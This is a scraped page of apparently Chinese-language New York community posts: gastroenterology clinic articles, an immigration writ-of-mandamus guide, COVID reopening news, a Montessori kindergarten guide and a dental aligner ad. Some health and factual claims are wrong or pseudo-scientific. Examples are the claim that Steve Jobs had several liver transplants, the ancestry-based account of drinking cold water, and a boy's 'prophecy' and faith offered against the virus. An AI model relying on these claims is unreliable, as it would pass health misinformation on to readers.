荆医生还发现有的疾病,则源于不适应新的饮食习惯。比如,西方人常喝冷水、冰水,华人往往爱喝温开水。一些年轻华裔来西方不久,也常喝冰水,过后会感觉不舒服。荆医生说,东西方人体质不同。西方人多是游牧民族的后裔,东方人祖先则是农耕民族。长期以来,欧美人的肠胃适应了热量大的肉制品和奶制品,喝冰水,可中和高热量食物。东方人习惯上以谷物为主食,谷物热量低,喝冰水就可能不舒服。

荆医生建议:保持东方人特有的饮食习惯,也可避免一些肠胃病。

荆医生在肠胃道方面的研究,不但精于西医的先进技术,还融合了中华养生的内涵,了解华人体质。对于生活在纽约的华人,要选择胃肠道专家,荆医生确实是不二的选择。

位于纽约皇后区法拉盛罗斯福路上的荆彤肠胃诊所, 接受大多数健康保险。如果有什么胃肠道方面的咨询,或需要预约荆医生,请致电:(718) 886-9819。

诊所交通也很方便,位于法拉盛梅西的旁边,地铁口。

门诊时间:

周一至周五:10:00 – 19:00

周六:10:00 – 18:00

周日:休息

荆彤肠胃中心(718) 321-0183纽约肠胃科专家医生在线为你服务

 

2021-05-07 / 1 Comment / by / in , , ,
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2025-10-14 / by
猛爆性肝炎是不是过度劳累造成的?纽约消化科专家荆彤医生为您讲解

很多人觉得肝病要养,这话也对,很多肝不好的人,有慢性肝炎的人就不要过于劳累,要避免熬夜、暴饮暴食。但是肝病不是劳累造成的,是患者的肝本身就有问题,劳累会加重肝病的问题。

所谓猛爆性肝炎就是慢性肝炎急性爆发,容易诱发肝衰竭,这是消化科为数不多的几种急症之一。有时病人需要紧急做肝移植手术,不做肝移植病人是无法存活的。但是肝移植不是随时都能做,要有肝源才行,所以患者能不能存活还要看他能不能及时得到肝源。

猛爆性肝炎的出现不是操劳过度造成的。华人中比较常见的慢性B型肝炎(乙肝)是这个猛爆性肝炎的常见诱因之一。很多从中国来的患者会对我说:“我是从出生就有这个,父母遗传给我的乙型肝炎,我是无症状带菌。” 实际上肝炎是病毒,不是菌,健康带毒这种说法是不成立的,已经带着病毒了就不健康了,应该说是慢性乙肝患者。

有些病人身体携带的乙肝病毒含量低,肝功能正常,在这种情况下病人不需要吃药,因为吃药和不吃药的结果是一样的。但这些病人应该经常去看消化科医生,经常去验血和做超声检查。因为乙肝病毒携带者患肝癌的几率高,而且B型肝炎随时可能活动,但什么时候活动是不可预见的。一旦活动起来活动得很快,容易诱发肝衰竭。因此建议慢性肝炎患者经常去做检查。

2021-05-06 / by / in
申请美国绿卡 紐約移民案件被延遲怎辦?联邦催办令的流程指南

文|弗光照

眾所周知,移民局=忙!移民局申請美國綠卡、入籍、家屬綠卡、工卡等移民案件一直都是堆積如山。900萬的申請人一直處於心急如焚的等待中…不幸的是,隨著拜登移民新政的推動,大量的移民官將會被抽調去辦理1100萬非正常移民、難民和美墨邊境邊境及路途中追夢人潮的案件。那麼,合法申請人的案子被一再拖延,pending中,要怎麼辦?在美國等待的華人朋友們,不妨諮詢一下擅長辦催辦令的紐約大律師。

通常移民律師的口頭禪:你耐心不耐心的都要等待!不過,現在看來,等待不是唯一的選擇,我們還可以通過——申請聯邦催辦令(Writ of Mandamus),使您的移民案件得到最快的審批!

 

罗曼律师楼(law Office of Meer M. M. Rahman)

地址:305 Broadway,  Suite 610, New York, NY 10007

电话:(212)732-2220

1.聯邦催辦令是什麼?起什麼作用?

聯邦催辦令也叫履行指責令訴訟。簡單講,就是通過起訴,要求法院命令移民局(或相關政府部門)在合理的時間內對移民申請案件作出回复、裁決,審批就非常快。聯邦法院不容忍任何不合理的拖延。

2.聯邦催辦令進度有多快?

從時間上講,法院其實規定90天(自起訴日起),但通常移民局會在60天內給出回復和結果,最快的案例是2週左右。有直接通過審批、收到郵寄綠卡或直接通知入籍宣誓時間;或者了解具體是材料不充足、重要問題回答有錯誤的原因被拒絕。

3.聯邦催辦令適用於什麼案件?

美国綠卡申請、入籍申請、親屬移民、工卡申請、豁免申請601、及其他任何移民案件,在移民局超過正常等待(通常是十二個月,某些申請30天),催問無結果,都可以申請聯邦催辦令。例如:

A.綠卡申請
I-485(申請綠卡身份,永久居住權) 、I-526、I-829(投資移民)

B.家屬申請
I-130(為配偶申請綠卡)、I-730(難民申請配偶和/或子女)

C.就業工卡EAD( Employment Authorization Document工作許可文件):I-765(工卡申請)、EB-5(投資移民)EAD工卡等
D.入籍申請:N-400(綠卡轉公民)等
E .豁免申請601、及其他:I-601/602(豁免Waiver申請)、 I-360(特殊移民的訴狀)

4.申請聯邦催辦令需要具備什麼條件?準備什麼材料?

要有三份基本文件、移民局收據(I-797)等。
證明你的住址屬於聯邦法院的管轄範圍
確實是移民局拖延
移民局的拖延超過合理時間

5.申請聯邦催辦令的流程是怎樣的?

首先,免費諮詢專業律師,做案件的考量分析,看看是否適合申請聯邦催辦令。
律師認為可立案,申辦人確定要申請催辦令。
便可與律師簽約,開始準備訴訟文件。

6.申請聯邦催辦令的費用是多少?注意什麼?

申請聯邦法院催辦令價格通常是$3000-$6000。

*要注意的是:聯邦法院要求極高,律師要有聯邦法院執照(很多律師沒有)。
*如遇移民局延遲回复催辦令(1次可推遲30天),訴訟律師是否有能力解決。

最後提醒大家:催辦令程序很複雜,不常使用到,但有些案件是必要的。比如,案件時間超出合理範圍(法律沒有規定,比如二年以上) ,多次溝通移民局,但沒有理會,如去移民局、上網、寫信等(要有確實記錄及證據)。這種情況適合申請催辦令。您必須了解,這樣的程序並不簡單,在申請催辦令前,你必須要有充分與移民局溝通,嘗試申訴或催辦的事實,也就是說有確實證據說明移民局有拖延責任,法院才會真正的下達催辦令。

*催辦令個人做不了,必須請律師代理。

祝您在專業移民律師的幫助下,早日達成所願!

2021-05-06 / by / in ,
什么是肠漏症?肠漏症的病因、症状及治疗方法  纽约肠胃科专家荆彤医生为您讲解

肠漏病是一种常见病,它的表现就是病人吸收不好,长期消瘦,经常腹泻。

人体对食物的吸收主要靠小肠,小肠大约20呎长。小肠的起端是十二指肠。食物经过胃的研磨后进入十二指肠,在各种消化液、消化酶(胰腺分泌的胰蛋白酶、脂肪酶、淀粉酶)的作用下,降解成小分子。经过这20呎的小肠,营养成分会充分的在小肠粘膜表面吸收。

如果把小肠的表面放大,会发现小肠粘膜是由无数个细胞排列在一起的。营养成分经过这些细胞进入淋巴、血液。正常的小肠粘膜排列非常紧密,所谓的“肠漏”就是一些病变造成细胞的间隙过大。造成人体对营养物质的吸收变差。

造成肠漏症的原因有很多种。肠炎、病毒感染、自身免疫系统疾病都可能造成病人吸收不好。通过检查找到这些病因后,采取相应的措施,如服用药物,改变饮食,可以改善病人的身体状况。

2021-05-05 / by / in
纽约疫情好转 5月份放宽商业活动和地铁运营

纽约州政府网站发布信息,由于Covid-19疫情染疫人数下降及疫苗接种的推进,纽约州、新泽西州和康乃狄克州州长同时申明,从5月19日起,将全面开放大纽约地区商业活动。

  • 从5月19日起,商业设施不再限制人数,新规定只需要保持6英尺社交距离(纽约和新泽西);
  • 纽约从5月10日,户外社交活动聚会人数放宽到500人;室内社交聚会人数从5月19日起,放宽到250人
  • 从5月19日起,纽约取消私人住宅室外聚会人数限制,私人住宅室内聚会人数放宽到50人。
  • 纽约的大型户内活动客容量从5月19日起可提高到30%,而大型户外活动客容量提高到33%。不过需要提供疫苗接种或病毒测试阴性证明。

纽约州州长库默,新泽西州长墨菲和康州州长拉蒙特于5月3日发表声明,鉴于疫苗接种工作的推进,以及COVID-19病例和住院人数的持续下降。接下来,将很大程度放宽该地区商业活动和聚会的限制,需要提振一下经济了。

松绑商店购物、吃饭的人数限制

纽约地区从5月19日起,大部分商业活动将取消人数上限的限制,只需要保持6英尺社交距离即可。松绑限制的范围包括:零售业、餐饮业、健身房、家庭娱乐设施和场所、美发沙龙、理发厅以及其它个人护理服务设施及礼拜堂等。也就是说,商业活动的人数限制改为社交距离规定,商家和顾客要遵守6英尺社交距离规定,每个商家可容纳的人数由此规定来计算。

公众和私人聚会人数提高

从5月10日开始,纽约户外社交聚会人数限制由之前的200人增加为500人。从5月19日开始,室内社交聚会人数由之前规定的100人提高到250人。取消了私人住宅室外聚会不得超过25人的规定,私人住宅室内聚会的人数规定由之前的10名上限增加为50人。

在纽约如果需要举行超出人员上限的社交聚会,则需要提供每个参与者完成疫苗接种或最近的病毒测试阴性证明。

放宽场馆活动人数

在纽约举行的商业和社交集会活动,例如体育赛事,艺术表演,现场娱乐表演和招待会,可以允许超过规定人数(社交集会室外500人,室内250人)。前提是,每一位年龄超过4岁以上的参加者,需要提供完全疫苗接种证明,或者是近期的COVID-19病毒测试阴性证明,同时要能够满足社交距离的要求。

从5月19日起,大型室内场馆活动的客容量将从目前的约10%放宽至30%,而大型室外场馆客容量将放宽至33%。社交距离,口罩和其它的健康规程仍将适用,包括要求参加者提供完全疫苗接种证明或近期COVID-19测试结果为阴性的证明。

各行业重新开放的要求

大部分行业的人员容量限制将会被取消,但一些特别规定的要求将在很长的一段时间内依然需要保持,包括州或地方卫生局的事件通报,健康检查,可追溯的联络信息,强化的空气处理和建筑系统标准,手部卫生以及环境清洁和消毒指导。纽约州将继续针对适用于每个行业的这些规定提供更多指导。

纽约地铁 5月17日恢复全天候服务

科莫说,纽约市的地铁服务将于5月17日全天候行驶。去年5月,在纽约的疫情高峰期,纽约地铁在凌晨2时至4时必须中断服务,以便为车厢进行消毒。纽约市地铁在停止深夜服务近一年后,终于又开始了全天候服务。

根据纽约州府3日公布的数据,全州整体确诊率为1.94%,7天平均确诊率为1.79%。是自去年11月5日以来的最低水平,与上个月相比下降了50%,而全州染疫住院人数降至2,539人,是6个月以来的最低水平。

希望纽约疫情能够持续好转,大家可以恢复到正常的工作和生活。

全球疫情数据仍很严峻

目前,世界其它地方的疫情情况依然严峻。

世卫组织(WHO)5月4日发布的每周疫情更新中指出,全球范围内,新冠病毒新增病例连续第九周增加,并在近两周连续创下新增病例新高的数据。上周记录到近570万例新病例,超過了之前的高峰。新增死亡人数连续第七周继续增加,上周记录到全球死亡人数超过93, 000。

同时,世界卫生组织示警,造成印度疫情失控原因之一的印度变种病毒“B.1.617”,至少已在17个国家现踪,其中也包括美国。

这种变种病毒比原始病毒更危险,意味著它更易于传播、更加致命或具有躲避疫苗的能力。

曾于2019年8月就预言疫情的印度男孩阿南德,曾多次提示大家避免疫情冲击的一些方法。比如,人类要勇于认错,走向大自然。同时提升身体与精神方面力量,有助对抗疾病。他呼吁大家多走出户外晒太阳、呼吸新鲜空气,虽然不能对抗疫情,但能帮助抵抗其他疾病。

阿南德告诉人们,回归对于神的信仰、增强免疫力、停止错误的治疗、传播正面的情绪、注意心理的健康、走入大自然等这些,都能帮助对抗病毒,希望对大家有所启示。

2021-05-05 / by / in , , ,
如何早期发现胰腺癌?纽约肝胆肠胃科专家荆彤医生谈内视镜超声在胰腺癌诊断方面的应用

胰腺癌号称“癌中之王”,它的治愈率很低。在治疗方面始终没有找到太好的方法,死亡率很高。很多名人都是死于胰腺癌,如美国苹果公司的创办人Steve Jobs(史蒂夫.乔布斯),世界三大男高音之一的帕瓦罗蒂,还有日本索尼公司的创办人索尼,他们都是因为胰腺癌去世的。

在乔布斯确诊了胰腺癌之后,曾到美国几家最好的肿瘤中心去寻求治疗,包括德州的MD Anderson肿瘤中心。尝试了各种治疗方案,肝移植都移植了好几次(肿瘤扩散累及肝脏),最终也没能挽救他的生命。由此可见中晚期的胰腺癌很难治疗。

有的人长期胃不舒服,做各种检查也没查出问题。最后发现是胰腺癌。对医生来说,如何能在胰腺癌的早期发现比较有挑战性。因为胰腺比较小,而且是在胃的后边,位于后腹膜。早期也没什么感觉,所以不容易发现。

现在比较好的一种诊断胰腺癌的方法叫内视镜超声,英文是Endoscopic ultrasound。对病人来说做这种检查感觉像是做胃镜。检查的方法就是把带有超声波探头的镜子从嘴巴伸进胃里,因为胰腺就在胃的后边,胃壁很薄,超声波可以透过胃壁来扫描胰腺,看得很清楚。能够发现胰腺上有没有长什么东西,比如说有没有水泡(囊肿)和肿瘤。如果有必要的话,还可以通过一个很细的针提取胰脏细胞,用于做活检,就能马上知道这个肿瘤是良性的还是恶性的。鉴别起来比较快。

 

2021-05-05 / by / in
冠状病毒与流感的异同 在美国如何预防COVID-19冠状病毒

 文|雨荷

COVID-19冠状病毒(武汉肺炎)与流感有许多相似之处和不同之处。以及如何保护自己免受这些疾病的侵害。

在COVID-19中共病毒(武汉肺炎)大流行期间,您可能听说过2019年的中共病毒病(COVID-19)与流感相似。COVID-19中共病毒和流感都是由病毒引起的传染性呼吸道疾病。他们有一些常见的症状。但是,通过更仔细的比较,它们可以以不同的方式影响人们。此外,由于流感的发病时间已经更长了,因此医生在继续学习有关COVID-19中共病毒的同时,对如何治疗和预防流感也有了更多了解。

COVID-19中共病毒和流感有何相似之处?

导致COVID-19中共病毒和流感的病毒以相似的方式传播。它们都可以在紧密接触的人(6英尺或2米以内)之间传播。病毒通过谈话,打喷嚏或咳嗽释放的呼吸道飞沫或气溶胶传播。这些水滴会落在附近某人的嘴或鼻子中或被吸入。如果一个人接触了带有一种病毒的表面,然后触摸了他或她的嘴,鼻子或眼睛,这些病毒也会传播。

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COVID-19中共病毒 示意图。

COVID-19中共病毒和流感有许多共同的体征和症状,包括:

  • 发热
  • 咳嗽
  • 呼吸急促或呼吸困难
  • 疲倦
  • 咽喉痛
  • 流鼻涕或鼻塞
  • 肌肉疼痛
  • 头痛
  • 恶心或呕吐,但这在儿童中比在成年人中更常见

两种疾病的症状和体征范围从无症状到轻度或严重症状。由于COVID-19中共病毒和流感的症状相似,因此仅凭症状就很难诊断出您患有哪种疾病。可能会进行测试以查看您是否患有COVID-19中共病毒或流感。您也可以同时患有两种疾病。

无论COVID-19中共病毒和流感可以导致严重的并发症,如肺炎,急性呼吸窘迫综合征,器官衰竭,心脏发作,心脏或脑部炎症,中风和死亡。

许多患有COVID-19中共病毒的流感或轻度症状的人在家中休息和喝水可以康复。但是有些人因流感或COVID-19病重,需要住院。

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COVID-19中共病毒 示意图。

COVID-19中共病毒和流感有什么区别?

COVID-19中共病毒与流感有几处区别。COVID-19中共病毒和流感是由不同的病毒引起的。COVID-19是由一种称为SARS-CoV-2的新型冠状病毒(武汉肺炎)引起的,而流感是由甲型和乙型流感病毒引起的。

COVID-19中共病毒和流感的症状出现在不同的时间,并且有一些差异。使用COVID-19中共病毒时,您可能会失去味道或气味。暴露后2至14天通常会出现COVID-19中共病毒症状。流感症状通常在接触后约一到四天出现。与流感相比,COVID-19中共病毒似乎更具传染性并且传播速度更快。与流感相比,COVID-19中共病毒导致的严重疾病(如肺损伤)的发生频率更高。与流感相比,COVID-19中共病毒的死亡率也更高。

到2020年,美国有超过1600万人患有COVID-19中共病毒,2020年,美国有290,000多人死于COVID-19中共病毒。

相比之下,在2019年至2020年的美国流感季节,约有3800万人感染了流感,约有22,000人死于流感。

COVID-19中共病毒可能引起流感引起的其他并发症,例如儿童的血块和多系统炎症综合症。

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儿童患病住院 示意图。

另一个区别是可以用抗病毒药治疗流感。目前仅批准一种抗病毒药物remdesivir来治疗COVID-19中共病毒。研究人员正在评估COVID-19中共病毒的许多药物和治疗方法。一些药物可能有助于降低COVID-19中共病毒的严重程度。

您可以购买年度流感疫苗,以帮助降低患流感的风险。流感疫苗还可以减少流感的严重程度和严重并发症的风险。每年的流感疫苗都能提供三种或四种流感病毒的保护,而这三种流感病毒有望在该年的流感季节最常见。疫苗可以注射(注射)或鼻喷雾剂的形式给予。

流感疫苗不能保护您免受COVID-19中共病毒的侵害。研究还表明,接种流感疫苗不会使您更有可能感染COVID-19中共病毒或其他呼吸道感染。

为您推荐放心医生如下:

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2021-05-04 / by / in , , , ,
美国幼儿园怎么选?站在幼师角度上,讲讲在美国华人 如何给孩子选择优质幼儿园

文|弗光照

家长都很重视孩子的教育。很多家长在孩子还没出生时,就在计划未来孩子要上什么样的幼儿园和怎样的优质学校。在这里,我想建议家长们,特别是那些准备给孩子选幼儿园的华人家长,您一定要先了解“幼儿教育”(即“学前教育”)是什么?因为只有了解了您的孩子在幼儿园应该受到什么样的优质教育,才能选择对的幼儿园。

其实,同为教育,学前教育和学校教育差别很大。学校教育是教书+育人,重在学术;而学前教育不是学院式的学习,不仅仅是简单的智能学习、才艺能力的培养,更重要的是要把握住孩子成长的“敏感期”(Sensitive period),帮助他们形成良好的行为习惯、人格品格、独立性、创造力、人际交往等社交能力,和潜能发展等。不仅奠定孩子智慧与品格的基础,也会影响和决定孩子的一生。

学前教育有多重要?孩子的“敏感期”大多集中在(0~6岁)学前教育阶段,就是孩子在某段时间对某些事特别有兴趣,可以轻松、快速的掌握。简单讲:孩子易学,成人易教,事半功倍,可成就孩子的天赋。并且,错过不可逆。

例如:因胎儿在母体羊水中的原因,婴儿刚出生时是天然的具有游泳能力的。只要及时巩固,孩子们在玩水时,就可形成后天的游泳能力。否则,错过了时机,孩子们重新学习憋气、游泳,就要付出更多的努力,甚至有人会成为一辈子的“旱鸭子”。

就是说,孩子错过了“敏感期”的一些必要的教育培养,会造成某些能力的缺失,在今后适应社会环境时增会加难度;一些不好的行为习惯一旦形成了,过了幼儿期想改就难了。所以,给孩子选一个好的幼儿园,接受优质的教育,十分重要。

一、那么,什么样的学前教育是优质的教育?体现在哪些方面呢?

首先,了解一下经典教育—蒙台梭利。蒙氏教育经历了百年的承传发展,几代人的成长验证,惠及全球,优秀的毕业生更是不计其数。爱因斯坦评价“蒙台梭利教育是成功人士的摇篮”; 毕业生比尔•盖茨称是他人生之初的导师;Google的两位创始人布尔和佩奇说”我们的成功不该归功于斯坦福大学,而应归功于蒙特梭利学校”……

蒙特梭利(Montessori)本身是医学博士,又有生物学、心理学、哲学基础,加上多年研究人类学、教学法应用、一线实践经验,是一般教育者所不能超越的。她提出的“尊重儿童”,改变了当时人们的世界观,直至今日尊重儿童成为普世的价值。

她是一个医者如同看病一样,针对儿童的教育问题,以尊重儿童为原则,顺应孩子们“敏感期”身心健康发展的需要,以玩教具为媒介对症施教于儿童,效果卓越。100多年前已经震惊世界:例如,一些智障的孩子在阅读和书写考试中成绩优秀,与正常儿童不相上下;而正常儿童效果更佳。蒙氏教育非常严谨,适用于所有的孩子,特别是华人孩子,弥补了很多华人家长没有照顾到的教育问题。

蒙氏课程对孩子日常生活、感官教育、数学、语言、科学文化常识等,进行全面的培养和教育。可以说,没有这么完整和系统的教授孩子各方面的教学方法了!接下来,我们以实例对比,分析优质的学前教育差别在哪里:

1.日常生活的教育训练,蒙氏教师一开始就会给孩子正确示范生活中的小细节,而不是出了问题再去纠正,那样就费时费力了。

A.礼仪行为:孩子社会行为的敏感期(2.5-6岁),这个阶段要学习尊重他人,学会有尊严和礼貌地与人相处,建立孩子良好的人格人际,为融入社会做准备。从孩子入园起,学习怎样问候、什么样的音量与人交流,礼貌地求助,搬桌椅的礼仪等等一系列行为。所以,蒙氏教育的孩子彬彬有礼。

一般教育:孩子“老师好!”爸爸妈妈再见!”

蒙氏教育:孩子“老师好!谢谢爸爸妈妈(送我来幼儿园)!爸爸妈妈再见!”

评价:同样是早问候环节, 蒙氏老师会提示儿童站姿优雅,讲话的礼貌,还有感恩教育(父母为送你入幼儿园,需要早起,先送你入园,然后再去工作,比较辛苦。让孩子了解父母的付出,懂得感恩)。延伸到生活中,有不少日本人过人行道后,会回身行礼。这就是教育的差距噢。看似平常的生活环节,孩子们日复一日的重复的是礼貌、感恩。

B.自理能力培养:蒙氏活动中有教授孩子基本的个人卫生,如洗手、梳头发;学习倒液体、倒豆子;自己照顾自己,穿鞋、穿衣服、进餐等。孩子们获取经验时有完全的自由,允许他们“犯错”和做得不好。

蒙氏教师尊重和敬畏孩子的潜能,会鼓励他们去尝试、实践、重复、最终完成。活动有助于孩子的手眼协调能力,还能培养孩子的自信心、专注力、独立性的人格。这一点,蒙特梭利教育是最棒的。

家长切记:成人任何多余的帮助都会阻碍孩子的发展,过分的人为干涉对孩子极为不利。例如:以节省时间为理由,喂孩子吃饭,帮穿衣等。相信他们能做好,就是对孩子最大的尊重。要知道“尊重”>”爱”。

蒙特梭利有一句话:
Never help a child with a task at which he feels he can succeed.
如果孩子觉得他自己能完成的事,就千万不要帮他做。

C.行为习惯培养与规则意识:蒙氏环境中的孩子,进餐安静,进餐后自己收拾餐具,学具玩具要自己收好,用过的东西要原位归放,做事要有始有终。孩子在课室里可以自由走动,规则意识和秩序意识是在自由的环境里自然形成和建立的。

孩子的天性是活泼好动的。传统意义上的乖乖坐、纪律好,限制孩子行动自由和表达需求,这种强迫性的服从不是真正的自律意识,也违背尊重孩子的原则。

蒙氏环境中,孩子最大的感受就是快乐,他们是学习的主体,可以自己选择和决定,得到绝对的自由和尊重。这种自由并不是放任,不是想怎样就怎样,而是选择正确的事情。孩子在自由的同时还学要学习遵守秩序,成为一个自律的人。

2. 感官教育。蒙氏课程有大量系统和完整的特制学具,这些教具能引起孩子的兴趣,让孩子的视听、嗅味、触觉等感官体验中,自主学习颜色、形状、大小、长短、高低、粗细、味道、重量、材质、温度等特质,同时提高他们的观察力、判断力、语言表达能力。

例如,触觉活动中,孩子戴上眼罩后,根据触摸到不同材质的学具,说出“毛毛的”、“滑滑的”、“粗糙的”等词语。孩子们在新奇有趣的游戏中,自主学习、感知和探索,触觉得到了训练。

3. 数学教育。数概念、数量关系、运算知识非常抽象。蒙氏教具是借助串珠、数字板等,将抽象具体化,变成看得见、摸得到的实物。这些学具吸引着孩子主动去摸索和实践,直至他们自己满意。在反复的操作练习中,不断验证、理解和获得数感、逻辑思维、空间想象力,探索的过程比结果更重要。

例如:几何立体组、二项式方块(Binomial Cube)等,孩子在游戏触碰中,从平面思维升级到三维空间的识别。这种思维优势,在孩子进入高年级时会表现得非常明显。教育教给孩子们的是良好的学习方式,自主学习的能力。有兴趣的探索,心态是完全不一样的。会使孩子今后的学习轻松很多,而不是沉重的压力和压抑。

4. 蒙氏文化教育還包括多門學科。蒙氏文化教育其实还包含动物学、植物学、历史、地理、天文、地质、音乐、美术、科学等学科,对应有动物、植物、历史、地理、天文、地质等教具。旨在培养孩子们的世界观,更好地了解世界,对宇宙万物的奥秘有兴趣,对人、对世界充满爱。他们有高度的自由和自主性,可以自己决定学多少。

孩子的注意力时间短,然而,当他们对活动感兴趣时,就能表现出惊人的专注力,因为他们的求知欲得到了满足,学得越多,就更有兴趣,轻松学到知识,这就是蒙氏教学方式。让孩子们爱学习,知道怎样研究、怎样发现。反之,如果学习活动是强加给他们的,那就截然不同了。孩子不是容器,死记硬背、填鸭式教学违背教育原则。

蒙氏教育的孩子所呈现的艺术想象力与创造力是惊人的,不是通过课堂教学大量技法练习得来的。而是给孩子准备有准备的环境,以感官教育基础,让孩子主动学习。如:手工、绘画、音乐等艺术体验、操作、游戏活动中,孩子们充分的自我表达,发现美、创造美,发挥想象力、创造力。

5. 蒙氏语言教育注重听、说、读的能力。如活动中实物描述,促进语言表达能力、文字活动培养阅读能力。蒙特梭利不要求孩子过早的用笔写字,但孩子用木质的字母、词根拼单词(华文对应的是偏旁部首)为书写做准备。

有一点要说明,蒙园≠混龄班。因蒙班对教具、师资等要求很高、收费也高,不能普及。有些蒙园引进蒙氏理念,只开设个别蒙班,其它班级还是同龄班形式接受蒙氏教育。那么,传统的蒙氏混龄班有什么益处呢?其实,蒙氏环境中不同年龄的孩子在一起,他们彼此爱和尊重,是一种家庭的情谊,大孩子本能的保护年龄小的孩子有担当,小孩子又崇拜大孩子懂得可以做得更好。大孩子给年龄小的孩子讲解,不仅是巩固,当大脑做分析、整理和讲解时,“费曼技巧”可以让孩子的学习能力有一个飞跃。

简单讲,如果孩子在幼儿园是快乐的、各方面能力有提高,那就对了!

二、那么,如何给孩子选幼儿园呢?

教育制度、理念、教学方法、学校设施、教师、家长,每一项都直接影响教学效果。
1. 教育制度、理念、教学方法:您可对比蒙氏教育来判断。

2. 学校设施:保障孩子的生命安全永远是第一位的。

A.防火通道要通畅,不可有隐患:监管机构会定期检查;幼儿园方面也会自查,并定期组织全园师幼做防火演习;家长一定要重视和做好监督。

B.教学环境要宽敞明亮,通风好,采光好。学校设施、教具、图书是否充足更新。桌椅的高度要合适。椅子角度不好,孩子坐的久一点会疲惫。

C.幼儿园布局是否合理:一些小的家庭幼儿园,课室和厨房距离不能近,有因孩子误入而烫伤烧伤等隐患。

3. 教师是教育的实施者,起决定性作用。

A.班主任:教师对学前教育要有热忱,不能只把它当一份工作。有道是“修合无人见,存心有天知”,但教师的态度对孩子的影响是明显看得见的。

B.教师必须拥有专业文凭和教师执照。蒙氏教师经严格的专业训练,取得专业执照。有被压缩到了10来天就上完的,含金量不同,学到的也就未必是真的蒙氏教育。就是说,得学到蒙氏教育到底是什么样的、怎么进行的,才能给孩子真正的蒙氏教育。

C.在美国,所有保教人员都必须考AID急救证书,每2年一次。学习处理幼童口、鼻、耳进颗粒异物、儿童窒息、伤口包扎、催吐、心肺复苏、人工呼吸等,确保如果儿童发生意外,能够被及时处理,将伤害降到最低。

4. 孩子入园需了解的信息:

美国幼儿园的分类:Daycare(日托中心)、Preschool(幼儿园)、Pre-K(学前班)和kindergarten(小学学前班)

*Daycare(日托中心):主要照顾6周~3岁的婴幼儿。

*Preschool(幼儿园):3-5岁幼儿。*要求孩子自己入厕(potty trained),不可以包尿片。

*Pre-K(学前班):4周岁的孩子。在美国有些学校,特别公立学校,会设最小的年级叫pre-kindergarten简称Pre-K ,(kindergarten之前的一年)是被列入正式学制的 (United School District)。

*kindergarten简称 K(学前班属小学):义务教育免费。接收大约5周岁的孩子。

5.父母的作用对孩子的教育必不可少,家长的言行举止,将直接影响到孩子的内在性格和外在表现,应做好表率,同步幼儿园教育。否则,一个吐痰动作会影响您在孩子心中的形象噢。

在美国,送自家孩子去什么样的幼儿园,要不要提前申请、如何了解教学质量啊,都是家长自己的事情。现在,了解您的孩子在幼儿园应该受到什么样的优质教育,您可根据自己工作时间的灵活性、孩子的年龄、家庭收入情况和居住地等,自由选择适合自己家庭和孩子的学前教育机构了。记得,好幼儿园要早早排队哦!

祝您早日为孩子选到心仪的幼儿园!

2021-05-04 / by / in , , ,
隐形牙套 ,牙齿矫正,牙齿美容的期待!/纽约牙科诊所/纽约牙齿矫正/纽约牙齿美容/顶尖诊所推荐

文|Joseph

隐适美隐形牙套,来自纽约顶尖牙科诊所给牙齿美容,牙齿矫正需求者的福音!

咨询电话:(212)588-1809

你曾经因为牙齿不整齐而导致咬合不正吗?想要戴牙套却又怕不美观?隐形牙套正好是你最佳的选择,纽约牙科诊所「New York Dental Studio」使用Invisalign隐适美隐形牙套,并采用iTero 3D扫描仪,让牙齿矫正疗程更加准确、效果更快速,也更加舒适,帮你把牙齿美容、牙齿矫正一步到位。为什么摒弃传统牙套,而选择隐形牙套?哪些人适用隐形牙套?隐形牙套有哪些选择?以下为你做完整分析。

 

哪些人适合戴隐形牙套?

如果你因为怕痛、工作忙碌或因为疫情无法常常回诊、蛀牙率高、担心影响日常生活和工作,而无法戴传统牙套,这时你就可以选择隐形牙套。

并非所有人都可以戴隐形牙套,如果有以下情况,就不建议戴隐形牙套:

1. 齿列过于拥挤或凌乱、齿缝太大。
2. 牙齿扭曲或歪斜程度太大。
3. 上下颚咬合过深。
4. 牙龈健康状况出问题。
5. 无法长时间戴隐形牙套。

*详细情况可以谘询纽约最专业的牙医──纽约牙科诊所「New York Dental Studio」

医疗保险是否给付牙齿矫正费用?

一般而言,牙齿矫正不在普通医疗保险内,但18岁以下的小孩做牙齿矫正,父母的医疗保险一般可涵盖;成年人则需自行购买相关的牙科医疗保险。

对于牙齿矫正,不同的牙科医疗保险,给付范围也有所不同,因此,矫正牙齿之前,最好先询问保险公司,是否能给付矫正牙齿的部分费用。对于Invisalign隐适美隐形牙套,有些牙科医疗保险会特别给付。

隐形牙套 vs 传统牙套

现今大多数人都选择隐形牙套做牙齿矫正,但还是有少部分人选择传统牙套,隐形牙套和传统牙套差别在哪?

隐形牙套材质是多层膜弹性塑料,牙医师会根据患者的齿列情况,制作一系列客制化牙套。在牙齿矫正期间,需长时间配戴,并多次更换牙套,通过缓慢移动牙齿,来完成牙齿矫正。

传统牙套是用不锈钢制成的支架,黏在牙齿外围,再用钢线固定。每隔一段时间就必须回诊,经牙医师手动调节钢线的张力,以达到牙齿矫正。

*隐形牙套优点

1. 隐形牙套价格较传统牙套便宜。由于现今3D打印技术发达,过去昂贵的隐形牙套,价格已调降许多。
2. 隐形牙套较传统牙套美观。顾名思义,隐形牙套透明隐形的外观,让你微笑时依旧拥有自信的笑容;传统牙套则特别明显,而且会感觉强烈异物感。
3. 隐形牙套较传统牙套舒适。传统牙套配戴过程中,容易刮伤牙肉,造成口腔疼痛。
4. 隐形牙套牙齿矫正力度较轻。传统牙套调整完钢线后,必须痛个好几天,无法正常饮食。
5. 隐形牙套容易清洁。取下后用软毛牙刷轻刷牙齿,再用漱口水漱口即可。传统牙套容易卡食物,必须多刷好几次牙,才能达到清洁效果。
6. 隐形牙套较不影响日常生活。可以自行决定戴隐形牙套的时间、场合;传统牙套则需一直戴着,直到牙齿矫正疗程结束。

 

*隐形牙套缺点

1. 牙齿移动速度慢,矫正时间比传统牙套久。
2. 只有吃饭、刷牙时,才能拿掉隐形牙套,如果患者没有每天至少22小时戴隐形牙套,牙齿矫正进度会更落后。

隐形牙套有哪些品牌?

Invisalign隐适美隐形牙套是全球牙齿矫正领导品牌,但需要定期回诊。现今美国也出现多个可在家远程矫正牙齿、价格较Invisalign隐适美隐形牙套便宜的新兴品牌,例如:Byte、Candid、SmileDirect等。

价格便宜就一定比较好吗?中国人说:「一分钱一分货。」矫正牙齿费用所费不赀,在牙齿矫正期间,如果遇到问题,想要和牙医师有更好的交流,Invisalign隐适美隐形牙套会是你的最佳选择。

 

Invisalign隐适美隐形牙套 拥有超过800万用户

